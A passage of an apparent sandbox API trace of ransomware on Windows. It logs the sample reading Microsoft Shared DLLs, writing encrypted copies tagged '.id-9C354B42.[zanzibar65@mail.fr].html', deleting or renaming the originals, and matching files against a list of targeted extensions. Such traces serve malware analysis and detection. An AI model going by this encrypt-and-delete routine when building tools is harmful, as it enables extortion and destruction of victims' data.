shared\\euro\\msoeuro.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.763] GetLastError () returned 0x0 [0052.763] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x7980, lpOverlapped=0x0) returned 1 [0052.767] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x7990, lpOverlapped=0x0) returned 1 [0052.768] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.768] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.768] SetEndOfFile (hFile=0x1f8) returned 1 [0052.768] CloseHandle (hObject=0x1f8) returned 1 [0052.768] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.768] SetEndOfFile (hFile=0x170) returned 1 [0052.769] CloseHandle (hObject=0x170) returned 1 [0052.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.770] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0052.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.770] lstrlenW (lpString=".doc") returned 4 [0052.770] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.770] lstrlenW (lpString=".docx") returned 5 [0052.770] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0052.770] lstrlenW (lpString=".pdf") returned 4 [0052.770] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.770] lstrlenW (lpString=".xls") returned 4 [0052.770] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.770] lstrlenW (lpString=".xlsx") returned 5 [0052.770] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0052.770] lstrlenW (lpString=".ppt") returned 4 [0052.770] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.770] lstrlenW (lpString=".zip") returned 4 [0052.770] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.770] lstrlenW (lpString=".rar") returned 4 [0052.770] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.770] lstrlenW (lpString=".bz2") returned 4 [0052.770] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.770] lstrlenW (lpString=".7z") returned 3 [0052.770] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.771] lstrlenW (lpString=".dbf") returned 4 [0052.771] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.771] lstrlenW (lpString=".1cd") returned 4 [0052.771] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.771] lstrlenW (lpString=".jpg") returned 4 [0052.771] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.771] lstrlenW (lpString=".doc") returned 4 [0052.771] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.771] lstrlenW (lpString=".docx") returned 5 [0052.771] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0052.771] lstrlenW (lpString=".pdf") returned 4 [0052.771] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.771] lstrlenW (lpString=".xls") returned 4 [0052.771] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.771] lstrlenW (lpString=".xlsx") returned 5 [0052.771] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0052.771] lstrlenW (lpString=".ppt") returned 4 [0052.771] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.771] lstrlenW (lpString=".zip") returned 4 [0052.771] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.771] lstrlenW (lpString=".rar") returned 4 [0052.771] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.771] lstrlenW (lpString=".bz2") returned 4 [0052.771] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.771] lstrlenW (lpString=".7z") returned 3 [0052.771] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.772] lstrlenW (lpString=".dbf") returned 4 [0052.772] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.772] lstrlenW (lpString=".1cd") returned 4 [0052.772] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.772] lstrlenW (lpString=".jpg") returned 4 [0052.772] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.772] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0052.772] lstrlenW (lpString="msgfilt.dll") returned 11 [0052.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.773] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=38768) returned 1 [0052.773] CloseHandle (hObject=0x170) returned 1 [0052.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0052.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.774] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.774] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.777] GetLastError () returned 0x0 [0052.777] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x9770, lpOverlapped=0x0) returned 1 [0052.848] WriteFile (in: hFile=0x208, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x9780, lpOverlapped=0x0) returned 1 [0052.850] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.850] WriteFile (in: hFile=0x208, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.850] SetEndOfFile (hFile=0x208) returned 1 [0052.850] CloseHandle (hObject=0x208) returned 1 [0052.850] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.850] SetEndOfFile (hFile=0x170) returned 1 [0052.851] CloseHandle (hObject=0x170) returned 1 [0052.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.851] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0052.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.852] lstrlenW (lpString=".doc") returned 4 [0052.852] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.852] lstrlenW (lpString=".docx") returned 5 [0052.852] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0052.852] lstrlenW (lpString=".pdf") returned 4 [0052.852] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.852] lstrlenW (lpString=".xls") returned 4 [0052.852] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.852] lstrlenW (lpString=".xlsx") returned 5 [0052.852] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0052.852] lstrlenW (lpString=".ppt") returned 4 [0052.852] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.852] lstrlenW (lpString=".zip") returned 4 [0052.852] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.852] lstrlenW (lpString=".rar") returned 4 [0052.852] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.852] lstrlenW (lpString=".bz2") returned 4 [0052.852] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.852] lstrlenW (lpString=".7z") returned 3 [0052.852] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.852] lstrlenW (lpString=".dbf") returned 4 [0052.852] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.853] lstrlenW (lpString=".1cd") returned 4 [0052.853] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.853] lstrlenW (lpString=".jpg") returned 4 [0052.853] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.853] lstrlenW (lpString=".doc") returned 4 [0052.853] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.853] lstrlenW (lpString=".docx") returned 5 [0052.853] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0052.853] lstrlenW (lpString=".pdf") returned 4 [0052.853] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.853] lstrlenW (lpString=".xls") returned 4 [0052.853] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.853] lstrlenW (lpString=".xlsx") returned 5 [0052.853] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0052.853] lstrlenW (lpString=".ppt") returned 4 [0052.853] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.853] lstrlenW (lpString=".zip") returned 4 [0052.853] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.853] lstrlenW (lpString=".rar") returned 4 [0052.853] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.853] lstrlenW (lpString=".bz2") returned 4 [0052.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.853] lstrlenW (lpString=".7z") returned 3 [0052.853] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.853] lstrlenW (lpString=".dbf") returned 4 [0052.854] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.854] lstrlenW (lpString=".1cd") returned 4 [0052.854] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0052.854] lstrlenW (lpString=".jpg") returned 4 [0052.854] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.854] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0052.854] lstrlenW (lpString="odffilt.dll") returned 11 [0052.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.488] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1312656) returned 1 [0053.488] CloseHandle (hObject=0x1ac) returned 1 [0053.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0053.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0053.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.488] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.488] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0053.489] GetLastError () returned 0x0 [0053.489] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0053.514] WriteFile (in: hFile=0x230, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0053.532] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x407a0, lpOverlapped=0x0) returned 1 [0053.591] WriteFile (in: hFile=0x230, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0053.599] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0053.599] WriteFile (in: hFile=0x230, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.599] SetEndOfFile (hFile=0x230) returned 1 [0053.599] CloseHandle (hObject=0x230) returned 1 [0053.600] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.600] SetEndOfFile (hFile=0x1ac) returned 1 [0053.602] CloseHandle (hObject=0x1ac) returned 1 [0053.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0053.603] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0053.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.603] lstrlenW (lpString=".doc") returned 4 [0053.603] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0053.603] lstrlenW (lpString=".docx") returned 5 [0053.603] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0053.603] lstrlenW (lpString=".pdf") returned 4 [0053.603] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0053.603] lstrlenW (lpString=".xls") returned 4 [0053.603] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0053.603] lstrlenW (lpString=".xlsx") returned 5 [0053.603] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0053.603] lstrlenW (lpString=".ppt") returned 4 [0053.603] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0053.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.603] lstrlenW (lpString=".zip") returned 4 [0053.603] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0053.603] lstrlenW (lpString=".rar") returned 4 [0053.604] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0053.604] lstrlenW (lpString=".bz2") returned 4 [0053.604] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0053.604] lstrlenW (lpString=".7z") returned 3 [0053.604] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0053.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.604] lstrlenW (lpString=".dbf") returned 4 [0053.604] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0053.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.604] lstrlenW (lpString=".1cd") returned 4 [0053.604] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0053.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.604] lstrlenW (lpString=".jpg") returned 4 [0053.604] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0053.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.604] lstrlenW (lpString=".doc") returned 4 [0053.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0053.604] lstrlenW (lpString=".docx") returned 5 [0053.604] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0053.604] lstrlenW (lpString=".pdf") returned 4 [0053.604] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0053.604] lstrlenW (lpString=".xls") returned 4 [0053.604] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0053.604] lstrlenW (lpString=".xlsx") returned 5 [0053.604] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0053.604] lstrlenW (lpString=".ppt") returned 4 [0053.604] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0053.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.604] lstrlenW (lpString=".zip") returned 4 [0053.604] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0053.604] lstrlenW (lpString=".rar") returned 4 [0053.605] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0053.605] lstrlenW (lpString=".bz2") returned 4 [0053.605] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0053.605] lstrlenW (lpString=".7z") returned 3 [0053.605] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0053.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.605] lstrlenW (lpString=".dbf") returned 4 [0053.605] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0053.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.605] lstrlenW (lpString=".1cd") returned 4 [0053.605] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0053.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0053.605] lstrlenW (lpString=".jpg") returned 4 [0053.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0053.605] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0053.605] lstrlenW (lpString="VISFILT.DLL") returned 11 [0053.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0054.106] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2124664) returned 1 [0054.114] CloseHandle (hObject=0x240) returned 1 [0054.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0054.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0054.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0054.120] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0054.120] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0054.120] ReadFile (in: hFile=0x240, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.125] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0054.125] ReadFile (in: hFile=0x240, lpBuffer=0x3b90058, 